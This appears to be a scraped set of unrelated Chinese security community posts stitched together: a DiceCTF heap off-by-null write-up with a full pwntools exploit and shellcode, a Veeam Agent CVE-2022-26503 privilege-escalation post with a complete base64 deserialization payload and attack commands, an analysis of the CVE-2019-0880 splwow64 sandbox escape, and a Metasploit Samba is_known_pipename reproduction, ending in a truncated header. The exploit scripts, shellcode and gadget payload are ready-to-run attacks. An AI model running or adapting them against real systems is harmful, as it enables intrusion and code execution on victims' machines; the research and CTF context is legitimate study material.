delete(i)
for i in range(35,42):#0xd8
delete(i)
for i in range(42,49):#0xe8
delete(i)
#--tcache
for i in range(52,57):
delete(i)
#----------------------------
生成一个大的unsortedbin
程序执行到这里会是一个unsorted bin,大小为0x421
总体分布情况
### 2、
之后先处理辅助chunk，申请了几个0x98
claim(0x88)
claim(0xa8)
claim(0xb8)
claim(0xd8)
claim(0xe8)
#---------------------------------------------------------------- 上面是一个大的unsorted bin
add(0x98)# 52 进行add之后unsortedbin 被放入了largebin 之后进行了分配
add(0x98)# 53
pay = 0x98 * "a"
# # pause()
# debug([0x1629])
edit(53,pay)# off - by - null 这里做个对比吧
add(0x88)#54
add(0x88)#55
add(0xd8)#56
这里有个0x98的off-by-null
我们调试一下
在进行edit之前的堆块情况
进行edit之后
将size进行了减少
这里是为了在57号堆块的pre_size上进行留存，57号的pre_size就不变了
之后进行的三行分配正好将0x200消耗完(下面的54 55 56)
此时的总体堆块分布
这里的54号堆块是之后要写heap地址 ，用来绕过unlink的check的
进行到当前这步，堆块的情况如下
因为这个堆块是unsortedbin 分配来的，所以残留着libc地址（但是并没有什么用），我们希望将其改成heap地址
### 3、
之后又进行了一轮delete
#------tcache
for i in range(7,14):#0x98
delete(i)
for i in range(0,7):#0x88
delete(i)
for i in range(42,49):#0xe8
delete(i)
#------tcache
delete(50)#0x98
delete(54)
delete(59)#0xe8
delete(53)
这轮delete算是比较关键的一轮，因为它将54号堆块放在了unsortedbin链的中间位置，造成了这个fd
bk都是heap地址，这里的fd、bk地址之后如果可以指向0xb00我们就绕过了unlink检测（下面主要做了这件事）
看一下堆的情况（这里可能地址对不上，因为调试了两次，可以看最后三位偏移理解）
因为后面delete(53)，所以这里进行了合并0x131大小
对应的堆总体分布是
我个人理解这一步是为了将54号堆块写上heap的fd、bk，脚本中写的是50 与 59附近的，那么之后肯定会50和59堆上保留类似heap，绕过fd
bk检测
之后的操作，这里就根据之前的堆块情况进行对比
#---------------add back
claim(0x88)
claim(0x98)
claim(0xe8)
#---------------add back
add(0xd8)# 0x32 将几个unsortedbin 分别放入对应的smallbin 选择0xe8的进行分配 原来的59号
add(0xb8)# 0x35 0x131的smallbin切分
#---将55号放入unsortedbin
for i in range(0,7):#0x88
delete(i)
delete(55)
claim(0x88)
#---将55号放入unsortedbin , 扩大原来的53 54 unsortedbin
add(0xb8)#0x36
add(0x98)#0x37 这个是smallbin 这个是原来的50
add(0x38)#0x3b 0x36+0x3b正好清空unsortedbin
堆的总体情况（左边是之前的，右边是现在的）
这里应该是进行重新的分配，方便修改原来54号堆块上的数据
### 4、
之后的操作
#------tcache
for i in range(42,49):#0xe8
delete(i)
for i in range(7,14):#0x98
delete(i)
for i in range(21,28):#0xb8
delete(i)
#------tcache
delete(0x37)
delete(0x36)
delete(0x32)
delete(58)#这里58 和 0x32形成一个大的unsortedbin
pause()
此时堆块的情况
整体的堆分布情况
这里完成了一次写入，也就是unlink检查绕过的bk部分（经过off-by-null敲除0xb20中的20就是全部）
之后是一系列的申请
claim(0x98)
claim(0xb8)
claim(0xe8)
add(0xc8)#最大的里面分割 0x32
add(0xb8)#0xc1分配 0x36
add(0xb8)#最大的里面分割 0x37
add(0x98)#0xa1分配 58 这个是原来的50
#--top_chunk
add(0x98) #0x3d
add(0x98) #0x3e
add(0x18) #0x3f
堆块的整体分布
### 5、
这里完成了第二次写入
之后的delete
for i in range(7,14):#0x98
delete(i)
for i in range(21,28):#0xb8
delete(i)
delete(0x3e) #0x98
delete(58) #原来的50号
delete(0x36) #0xb8
delete(49)#应该是3个unsortbin 49 58合并成一个大的
pause()
此时的堆块情况
目前的堆块情况
经过这次的delete ， unlink的检测基本上绕过完毕bk fd ->0x20+位置
继续操作
claim(0xb8)
claim(0x98)
#---------------------------------------------------- add(0xb8) #49
add(0x98) #0x36 这两个都是直接分配
add(0xc8)#0x3a
add(0x68)#0x3e 这两个是0x141的切割
此时的整体heap
### 6、
之后又到了关键的一步，将bk、fd 尾部的0x20，利用0ff-by-null敲掉
partial_null_write = 0x98*'b'
partial_null_write += p64(0xf1)
edit(0x32,partial_null_write)
partial_null_write = 0xa8*'c'
edit(0x3a,partial_null_write)
利用off-by-null去掉0x20
edit 前后对比图
edit前
edit 后
这样就绕过了unlink检测，算是绕过了最大的难题
### 7、
然后伪造fake_size
fake_chunk_size = 0x98*'d'
fake_chunk_size += p64(0x2e1)
edit(0x35,fake_chunk_size)
然后进行delete造成重叠
for i in range(42,49):#0xe8
delete(i)
raw_input("overlap")
delete(57) #最后进行上合并的堆块
堆块重叠之后一切就好搞了
泄露堆上残留的libc并且打free_hook
add(0xd8)
show(0x3b)
data = uu64(r(6))
lg('data',data)
addr = data - 0x7f9c8b652be0 + 0x7f9c8b468000
lg('addr',addr)
#--------------------------------------------------------------------------------- claim(0xe8)
add(0xe8)#0x40
delete(0x2b)
delete(0x3b)
edit(0x40,p64(addr+libc.sym['__free_hook']-8))
add(0xe8)
add(0xe8)
edit(0x3b,"/bin/sh\x00"+p64(addr+libc.sym['system']))
delete(0x3b)
## 总结
难度不是特别大，但是就是有点麻烦
起始之前遇到过2.29以上的堆块off-by-null,但是之前没有申请大小的限制，所以用的largebin去残留heap地址进而绕过unlink检测，这次加了限制之后就比较复杂，利用unsortbin成链去绕过的unlink，总体来说还是学到了很多，复习了很多glibc知识，菜还是菜了，希望文章对大家有用~~~
## exp
# _*_ coding:utf-8 _*_
from pwn import *
context.log_level = 'debug'
context.terminal=['tmux', 'splitw', '-h']
prog = './sice_sice_baby'
#elf = ELF(prog)
p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.30.so")
# p = remote("124.70.197.50", 9010)
def debug(addr,PIE=True):
debug_str = ""
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
else:
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
def dbg():
gdb.attach(p)
#----------------------------------------------------------------------------------------- s = lambda data :p.send(str(data)) #in case that data is an int
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
bp = lambda bkp :pdbg.bp(bkp)
li = lambda str1,data1 :log.success(str1+'========>'+hex(data1))
def dbgc(addr):
gdb.attach(p,"b*" + hex(addr) +"\n c")
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#----------------------------------------------------------------------------------------- def choice(idx):
sla("> ",str(idx))
def add(sz):
choice(1)
sla("> ",sz)
# qword_4380[v4] = malloc(v3);
# dword_4040[v4] = v3;
# dword_41E0[v4] = 0;
# sla('Content:',con)
def delete(idx):#no pointer check
choice(2)
sla("> ",idx)
# free((void *)qword_4380[v2]);
# qword_4380[v2] = 0LL;
# dword_4040[v2] = 0;
# dword_41E0[v2] = 0;
def edit(idx,con):
choice(3)
sla("> ",idx)
# sla('update?',addr)
sa("> ",con)
# *(_BYTE *)(qword_4380[v2] + v3) = 0;
# dword_41E0[v2] = 1;
def show(idx):
choice(4)
sla("> ",idx)
# v2 <= 0x63 && dword_41E0[v2] == 1 && qword_4380[v2]
def claim(sz):
for i in range(7):
add(sz)
def exp():
claim(0x88)# 0-6
claim(0x98)# 7-13
claim(0xa8)# 14-20
claim(0xb8)# 21-27
claim(0xc8)# 28-34
claim(0xd8)# 35-41
claim(0xe8)# 42-48
#-------------------------- add(0x98)# 49
edit(49,'A'*8)
add(0x98)# 50
add(0x18)# 51
add(0xa8)# 52 0
add(0xb8)# 53 1
add(0xd8)# 54 2
add(0xd8)# 55
edit(54,"A"*8)
add(0xe8)# 56 3
pay = p64(0x200) + p64(0xe0)
# print len(pay)
# pause()
edit(56,pay)# 这里因为2.30中 从,unsortedbin 中卸下，malloc的时候也会检查next_size
#------------------------- # debug([0x13B8])
add(0xe8)# 57 4
add(0x98)# 58
add(0xe8)# 59
add(0x18)# 60
#------------------------- #--tcache
for i in range(0,7):#0x88
delete(i)
for i in range(14,21):#0xa8
delete(i)
for i in range(21,28):#0xb8
delete(i)
for i in range(35,42):#0xd8
delete(i)
for i in range(42,49):#0xe8
delete(i)
#--tcache
for i in range(52,57):
delete(i)
#----------------------------
claim(0x88)
claim(0xa8)
claim(0xb8)
claim(0xd8)
claim(0xe8)
#---------------------------------------------------------------- 上面是一个大的unsorted bin
add(0x98)# 52 进行add之后unsortedbin 被放入了largebin 之后进行了分配
add(0x98)# 53
pay = 0x98 * "a"
# # pause()
# debug([0x1629])
edit(53,pay)# off - by - null 这里做个对比吧
add(0x88)#54 -0x2e0位置
add(0x88)#55
add(0xd8)#56
pause()#0x55916a587df0
#---------------------------------------------------------------- #------tcache
for i in range(7,14):#0x98
delete(i)
for i in range(0,7):#0x88
delete(i)
for i in range(42,49):#0xe8
delete(i)
#------tcache
delete(50)#0x98
delete(54)
delete(59)#0xe8
delete(53)
raw_input('c1')
#---------------add back
claim(0x88)
claim(0x98)
claim(0xe8)
#---------------add back
add(0xd8)# 0x32 将几个unsortedbin 分别放入对应的smallbin 选择0xe8的进行分配 原来的59号
add(0xb8)# 0x35 0x131的smallbin切分
#---将55号放入unsortedbin
for i in range(0,7):#0x88
delete(i)
delete(55)
claim(0x88)
#---将55号放入unsortedbin , 扩大原来的53 54 unsortedbin
add(0xb8)#0x36
add(0x98)#0x37 这个是smallbin 这个是原来的50
add(0x38)#0x3b 0x36+0x3b正好清空unsortedbin
pause()
#------tcache
for i in range(42,49):#0xe8
delete(i)
for i in range(7,14):#0x98
delete(i)
for i in range(21,28):#0xb8
delete(i)
#------tcache
delete(0x37)
delete(0x36)
delete(0x32)
delete(58)#这里58 和 0x32形成一个大的unsortedbin
pause()
claim(0x98)
claim(0xb8)
claim(0xe8)
add(0xc8)#最大的里面分割 0x32
add(0xb8)#0xc1分配 0x36
add(0xb8)#最大的里面分割 0x37
add(0x98)#0xa1分配 58 这个是原来的50
#--top_chunk
add(0x98) #0x3d
add(0x98) #0x3e
add(0x18) #0x3f
#---------------------------------------------------- for i in range(7,14):#0x98
delete(i)
for i in range(21,28):#0xb8
delete(i)
delete(0x3e) #0x98
delete(58) #原来的50号
delete(0x36) #0xb8
delete(49)#应该是3个unsortbin 49 58合并成一个大的
raw_input('c2')
claim(0xb8)
claim(0x98)
#---------------------------------------------------- add(0xb8) #49
add(0x98) #0x36 这两个都是直接分配
add(0xc8)#0x3a
add(0x68)#0x3e 这两个是0x141的切割
#--------------------------------------------------------------------------------- partial_null_write = 0x98*'b'
partial_null_write += p64(0xf1)
debug([0x1629])
edit(0x32,partial_null_write)
pause()
partial_null_write = 0xa8*'c'
edit(0x3a,partial_null_write)
fake_chunk_size = 0x98*'d'
fake_chunk_size += p64(0x2e1)
edit(0x35,fake_chunk_size)
for i in range(42,49):#0xe8
delete(i)
raw_input("overlap")
delete(57) #最后进行上合并的堆块
edit(0x3b,"e"*8)
add(0xd8)
show(0x3b)
data = uu64(r(6))
lg('data',data)
addr = data - 0x7f9c8b652be0 + 0x7f9c8b468000
lg('addr',addr)
#--------------------------------------------------------------------------------- claim(0xe8)
add(0xe8)#0x40
delete(0x2b)
delete(0x3b)
edit(0x40,p64(addr+libc.sym['__free_hook']-8))
add(0xe8)
add(0xe8)
edit(0x3b,"/bin/sh\x00"+p64(addr+libc.sym['system']))
delete(0x3b)
# dbg()
it()
if __name__ == '__main__':
exp()
## 参考
<https://gitlab.com/hkraw/ctf_/-/blob/master/dicectf-2021/sice_sice_baby> | 社区文章 |
**作者：Y4er**
**原文链接：<https://y4er.com/post/cve-2022-26503-veeam-agent-for-microsoft-windows-lpe/>**
继[上文](https://paper.seebug.org/1873/ "上文")
## 漏洞分析
补丁
`Veeam.Common.Remoting.CSrvTcpChannelRegistration.CSrvTcpChannelRegistration(string,
int, CSrvTcpChannelOptions)`
用CBinaryServerFormatterSink新的反序列化类替换TypeFilterLevel.Full。
需要用户账号密码。port向上追溯
Veeam.Backup.Common.COptions.BackupServerPort
从注册表取值9395
在日志中发现`C:\ProgramData\Veeam\Endpoint\Svc.VeeamEndpointBackup.log`只监听了127.0.0.1，所以只能本地提权用。
继续找一下rem的地址 VeeamService
## 利用
使用https://github.com/tyranid/ExploitRemotingService直接打
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c calc
ExploitRemotingService.exe --secure --user .\administrator --pass admin16!@# -useser tcp://127.0.0.1:9395/VeeamService raw AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAsgU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtOCI/Pg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQogICAgPHNkOlByb2Nlc3M+DQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgY2FsYyIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4L
**文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。**
* * * | 社区文章 |
# 沙箱逃逸纪实：深入分析CVE-2019-0880
|
##### 译文声明
本文是翻译文章，文章原作者 byteraptors，文章来源：byteraptors.github.io
原文地址：<https://byteraptors.github.io/windows/exploitation/2020/05/24/sandboxescape.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 绪论
本文分析splwow64.exe中的一个任意指针解引用漏洞，该漏洞可从IE的渲染进程触发，导致沙箱逃逸。通过精心构造LPC消息发送给splwow64.exe进程，可以实现任意写splwow64.exe的地址空间。
本漏洞已经在64位Windows 7和Windows 10上测试通过。
本文会讲解漏洞所在的位置，以及如何利用漏洞逃逸IE沙箱。
该漏洞在Windows 7上似乎还没修复，因此本文不会公布利用代码。
### 漏洞概述
漏洞源于splwow64.exe进程对一个特定LPC调用的处理不当，导致在splwow64地址空间内以任意参数调用memcpy函数。这给攻击者提供了非常强大的原语，允许攻击者写入更高完整性进程的内存，从而无需借助内核漏洞实现浏览器沙箱逃逸。
### splwow64.exe概述
splwow64.exe是微软的可执行文件，每当32位程序访问系统上安装的打印机时就会运行。这个进程很有意思，因为它是IE提升策略的白名单进程之一，也就是说，任何低完整性的IE渲染进程试图运行splwow64.exe，都会导致其以中完整性级别运行。
在深入分析漏洞之前，我们先仔细看看splwow64进程是如何运作的。
## 0x01 LPC端口创建
开始运行后，splwow64.exe将调用ZwCreatePort API创建LPC端口，开始等待传入连接。
让我们看看ZwCreatePort函数。
NTSTATUS NTAPI ZwCreatePort(PHANDLE,POBJECT_ATTRIBUTES,ULONG,ULONG,ULONG);
如你所见，第二个参数是指向Object
Attributes结构体的指针，该结构体又将指向UNICODE_STRING结构体，里面包含进程要创建的LPC端口的名称。
为了连接到该LPC端口，首先要了解如何生成LPC端口名称。试着观察ZwCreatePort的Object
Attributes指针参数多次（每次重启之后观察），就会注意到LPC端口名称里的一部分会在每次重启后变化。
LPC端口名称如下所示：
**Windows 10：**
RPC ControlUmpdProxy_1_VARIABLEPART_0_2000
**Windows 7：**
RPC ControlUmpdProxy_1_VARIABLEPART_0_0
其中VARIABLEPART这部分每次重启都会变。
这意味着想从IE沙箱进程连接到该LPC端口，我们需要知道LPC端口名称是怎么生成的。
幸运的是，生成LPC端口名的可变部分的算法非常简单，看起来像这样：
* 调用OpenProcessToken API，将当前进程的句柄作为参数传递。
* 调用GetTokenInformation API，将TokenStatistics作为TOKEN_INFORMATION_CLASS传递
* 访问新获得的TOKEN_STATISTICS结构的AuthenticationId.LowPart字段，并将其转换为十六进制字符串。
恭喜！现在你可以连接到LPC端口了！
## 0x02 LPC消息处理
现在，我们要知道splwow64进程如何解析LPC消息。
由于对splwow64进程的内部工作原理的完整解释不在本文的讨论范围之内，因此我们将着眼于大略，只需知道有关本次漏洞利用的知识就够了。
概括来讲，splwow64用以下方式解析传入的LPC消息：
* 它仅接受长度为0x20字节的传入消息。
* 它将把位于LPC消息的偏移0x30、0x38和0x40处的三个指针作为参数传递给GdiPrinterThunk函数。
这意味着只要发送的消息为0x20字节长，我们就可以使用任意参数调用GdiPrinterThunk函数！
听起来不错！现在，我们要了解GdiPrinterThunk是怎么工作的，看看能否通过控制函数参数来触发一些有趣的事情。
## 0x03 GdiPrinterThunk函数
GdiPrinterThunk是一个非常复杂的函数，其工作流程由位于第一个参数所指定的地址的偏移0x4处的字节确定。如前所述，我们可以通过编写特定的LPC消息来控制GdiPrinterThunk函数传递的三个参数。换句话说，我们能控制GdiPrinterThunk的工作流程！
该函数就是任意解引用漏洞的所在之处，如果第一个参数传入的地址的偏移0x4处的字节是0x76（Windows
7上是0x75），就会以攻击者所控制的参数调用memcpy！
我们再仔细看看C伪代码：
void GdiPrinterThunk(LPVOID firstAddress, LPVOID secondAddress, LPVOID thirdAddress)
{
...
if(*((BYTE*)(firstAddress + 0x4)) == 0x75){
ULONG64 memcpyDestinationAddress = *((ULONG64*)(firstAddress + 0x20));
if(memcpyDestinationAddress != NULL){
ULONG64 sourceAddress = *((ULONG64*)(firstAddress + 0x18));
DWORD copySize = *((DWORD*)(firstAddress + 0x28));
memcpy(memcpyDestinationAddress,sourceAddress,copySize);
}
}
...
}
这里有个任意指针解引用漏洞，使我们可以从低完整性进程中写入splwow64.exe地址空间！
但是如何真正触发漏洞呢？
如前所述，GdiPrinterThunk函数会以如下参数被调用：
* RCX被设置为LPC消息偏移0x30处指定的地址
* RDX被设置为LPC消息偏移0x40处指定的地址
* R8被设置为LPC消息偏移0x38处指定的地址
要构造任意写原语，我们可以创建一个共享section，并在LPC消息的偏移0x30处指定此共享section的地址。
创建共享section后，我们可以在所需的偏移处设置要写入到的地址和要从中读取的地址，然后发送LPC消息！
解析LPC消息时，GdiPrinterThunk将访问在消息的偏移0x30处指定的共享内存地址，如果从共享内存地址开始的第四个字节为0x76（Windows
7上为0x75），则将以攻击者所控制的、在共享内存中指定的参数调用memcpy！
## 0x04 利用漏洞
到这步了！我们有了非常强大的任意写原语了！
可惜，我们还要解决一些问题才能真正逃逸IE沙箱：
* **W^X内存** ：可执行页的内存不可写。换句话说，我们不能将简单payload写入可执行内存页就完事了。
* **ASLR** ：我们有任意写的能力，但问题是我们没有信息泄漏，它使我们可以知道目标进程中函数指针的地址，从而通过覆盖它来执行代码。
* **任意执行** ：我们可以在splwow64进程的内存中任意写，但是我们仍然不知道如何在需要时触发payload。
### W^X内存
我们无法写入可执行内存页，也无法调用VirtualProtect来使内存页可写，所以必须另谋他法。首先想到的是把现有的某个函数指针覆盖成LoadLibraryA或者WinExec的地址，然后只要能以任意参数调用这个函数指针，就搞定了。
我们来看看OpenPrinterW函数：
如截图所示，该函数把winspool.drv的.data节中的一个地址传送到RAX寄存器，并调用LdrpValidateUserCallTarget（CFG，控制流保护）来验证该地址。
因为winspool.drv这个DLL的.data节是可写的，所以我们可以用任意写原语来覆盖其中储存的地址！
如图所示，地址已被覆盖为我们想要的地址！
### ASLR
为了覆盖地址，我们先要知道splwow64进程中winspool.drv的.data节的地址。对我们来说幸运的是，Windows系统上的ASLR是系统启动时进行的：换句话说，只要没重启，所有系统DLL的基地址在每个进程中都是相同的，无论其完整性级别如何。
也就是说我们在沙箱进程的地址空间中加载winspool.drv，找到其data节，再找到OpenPrinter2W函数指针，用任意写原语在远程进程里覆盖之，就搞定了。
有了这些还不够，在Windows 7上IE渲染进程是32位的，而splwow64进程是64位的，因此我们无法获得漏洞利用所需的64位地址。
要解决这个问题，我们有两种选择：
* 启动一个64位进程以泄漏所需的地址。
* 利用Heaven’s gate技术在IE Wow64进程中加载64位DLL，并泄漏地址。
#### 启动64位进程
这是解决问题的最简单，最稳定的方法。由于IE允许从低完整性渲染进程写入LocalLow文件夹，因此要泄漏所需的地址，我们只需这么做：
* 创建一个LeakAddresses.exe 64位可执行文件，该文件负责加载winspool.drv DLL，获取所需的地址，并将结果保存在LocalLow文件夹中的文件里。
* 将LeakAddresses.exe放到LocalLow文件夹中，然后调用CreateProcess函数运行它。由于没有提权，因此用户不知道它运行了，该文件将作为低完整性进程执行。
* 读取LeakAddresses.exe创建的文件来获取所需的地址。
* 使用获得的地址来编写LPC消息，以实现任意写原语。
#### Heaven’s Gate技术
此技术原理的完整描述超出了本文的范围。我推荐一篇有关该主题的出色文章（原文无链接）。简而言之，Heaven’s
Gate是一种技术，利用Windows在64位系统上实现32位代码仿真的机制来加载64位DLL。
使用此技术可以在IE进程的地址空间中加载64位DLL，从而可以泄漏所需的地址，而无需在磁盘上写入任何文件。
### 任意执行
其实，选择覆盖OpenPrinterW函数中所调用的OpenPrinter2W函数的指针是有原因的。
在花了一些时间逆向GdiPrinterThunk函数之后，我注意到，如果我们将偏移0x4处的字节设置为0x6A（在Windows
7上为0x69），则会发出对OpenPrinterW函数的调用，第一个参数可由我们控制，又因为指向OpenPrinter2W的指针已被我们覆盖，将会调用的是我们想要的函数！
但是，我们只能控制第一个参数，因此，应该选择仅包含一个参数的函数。我的选择就落在了两个函数上：
* LoadLibraryA：此函数将在调用它的进程的地址空间中加载一个库。由于此函数仅使用一个参数，因此我们可以将DLL放到LocalLow文件夹中，并在splwow64.exe进程中触发对LoadLibraryA的调用。这样，我们的DLL将由中等完整性级别的进程加载，从而逃逸IE沙箱。
* system：由于WinExec函数有两个参数，而我们只能控制一个参数，我们不如调用system，因为msvcrt.dll已加载到splwow64的地址空间中（即使没加载，也可以调用LoadLibraryA加载之）。system函数仅使用一个参数，即命令行，并将其作为中完整性进程来执行。例如，攻击者可以用中完整性用户身份运行Powershell命令。
## 0x05 总结
该漏洞虽然简单，却允许攻击者完全逃逸IE沙箱，方法简易而又可行！我觉得旧Windows组件中的这类漏洞很有意思，将来应该会发现更多类似漏洞。
我的测试结果显示，该漏洞对打全补丁的Windows 7系统仍然有效，因此我选择不公开漏洞利用代码。 | 社区文章 |
## 0x01.开始
睡觉睡的正香，在梦里正在做一些不可描述的事情，就被一边的手机吵醒了，真的很想把手机砸掉，但是又舍不得，好几个月的工资呢。拿起来看了看。群里的大牛们开始[讨论一个漏洞](http://www.4hou.com/vulnerable/4976.html)。曝漏洞了！还睡什么，起来测试了。
## 0x02 各种失败
当我拿到这个漏洞的时候，做了大量的测试，攻击环境用的是Kali，靶机为ubuntu16.04、centos6.5等等。但是测试了一天，没有一次攻击成功，之前写了一篇关于这个漏洞的复现并提交到了嘶吼（编者注：并没有发布），到后面才发现，原来攻击的本地的docker镜像。
可以说成功么?当然不能，环境都是别人配置的，用别人配置的环境去复现显得多么的low啊。总之，各种环境失败，没有成功。看到了freebuf上的复现方法，讲真，真的不知道那个人在说什么。反正我还是不知道怎么复现的。各种环境测试也是失败的。
## 0x03 辛酸过程
可以说进入正文了，先附上github的msf利用地址：[点我](https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb)
把它复制回来，或者用wget命令下载回来，移动到msf的目录中去
`mv is_known_pipename.rb /opt/metasploit-framework/embedded/framework/modules/exploits/linux/samba/is_known_pipename.rb`
之后查看本地ip，并打开metasploit
再看一眼靶机ip
执行reload_all，重新加载全部文件。
`use exploit/linux/samba/is_known_pipename`
`Set rhost 192.168.12.104`
`Set target 3`
按照别人说的方法，直接执行exploit就可以完成本次攻击，但是事实往往不是跟想象中的一样,
没有会话返回，我想了很久，换了各种环境来测试，但是很幸运，我一个都没有成功，无意之间想到了一个，本机测试。
直接攻击地址换成了kali的ip地址
`set rhost 192.168.12.103`
`Set target 3`
`Exploit`
很是神奇，但是还是没有想明白原因是什么
## 0x04老外相助
翻着国外的各大论坛，想着这个原因到底是什么，无意间翻到了推特上一个老外发的推文，说他成功了。
于是我就问他：“你的samba配置是怎么写的？”
老外：“一张图片”
但是我设置了这个配置仍然没有成功，我又问他：“我设置了跟你相同的配置，但是仍然没有成功”
老外：“exploit is working against 2:4.2.14+dfsg-0+deb8u5, does not work on
2:4.5.8+dfsg-1”
兄弟们，原谅我，我实在不知道这么怎么翻译了，我跟他交流都是靠着google翻译的。
虽然不是很明白老外的意思，但是连蒙带猜知道老外是想告诉我，我的版本是有问题的，但是不是samba的版本有问题。
我发现老外的攻击成功的系统是debian8.8，于是正准备安装debain的虚拟机，脑海里一个灵光，对调攻击机与靶机的攻防位置。简单说，就是用ubuntu去入侵kali。
攻击成功!
## 0x06 闲扯篇—-环境搭建
很多人纠结环境搭建这个东西，所以就在这里说一下。因为我也纠结了许久- -!攻击不成功，总是在怀疑是不是我samba环境搭建的有问题。
Ubuntu为靶机的环境:
`sudo apt-get install samba`
安装完成之后修改配置文件就行
`sudo gedit /etc/samba/smb.conf`
在文件末尾增加
`[test]`
`path = /tmp`
`writeable = yes`
`browseable =yes`
`guest ok =yes`
`read only = no`
`create mask = 777`
配置完成之后重启就好
`sudo service smbd restart`
Kali为靶机的环境：
Kali
默认是什么都有的，并不需要安装，直接添加配置文件，之后重启服务就行，不详细说明，参照ubuntu配置，其它类型的linux机器，参照ubuntu配置环境搭建
## 0x07 总结
光是单单复现这样一个简单的漏洞，就用了一天，可以说是很要命的东西，可能我复现的这一天，全球ip就不知道被扫了多少遍了。还是慢了老外一步。关于这个漏洞的复现，我看很多，压根没有人写清楚到底是怎么回事，让我等小白一脸懵逼的看着那些大牛装B。反正人家不说，究竟是如何设置的。相信很多人已经看到了一些复现方法，但是，往往很多把我们的思路带到了死胡同里，在里面饶了好久也出不来，”人家明明有回话创建，我就是没有，怎么回事?”，反正我今天就被一篇文章带进去了，用一个不可能复现的环境，复现了实验，然后我伴随着他的思路走了好久。。。。
Qq群:617086434，这个漏洞的复现还有问题的可以在群里问，当然，没问题做别的技术交流也是没问题的，啊哈哈。只要你愿意来！
## 0x08 偷懒到极致
Docker复现方法：[你真的要偷懒么](https://mp.weixin.qq.com/s?__biz=MzIyNTA1NzAxOA==&mid=2650473959&idx=1&sn=446c77750be072abe90de76ed116bff9&chksm=f00a2472c77dad64a987fde42c43114f4a774a5e899635c27e5a034fd407982196331d035dc4&mpshare=1&scene=1&srcid=05254b4mu89kBtoVIn1zupGe&key=a38ef3a06343a6929105fff0d31e0c2fb7c0ef60e00f6e504e4201a6dcc8f89575f27062d2cff276ef4cfe3c5ff39859f231f2e6db1674e2753dd108ba8601b44a414eb8c87e1982038e0f8df335c6c4&ascene=1&uin=MjY3MzU0MDgwOQ%3D%3D&devicetype=Windows+UnKnow&version=62040525&pass_ticket=f4Fb%2Fwfmx5ZZbl0IC%2BiXLY5ziYsIZExabGxgv6wEa3e31umk9ua6%2FziokPaiqBKe&winzoom=1)
如若转载，请注明原文地址： <http://www.4hou.com/technology/4983.html> | 社区文章 |
# Angr源码阅读笔记01
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 零、前言
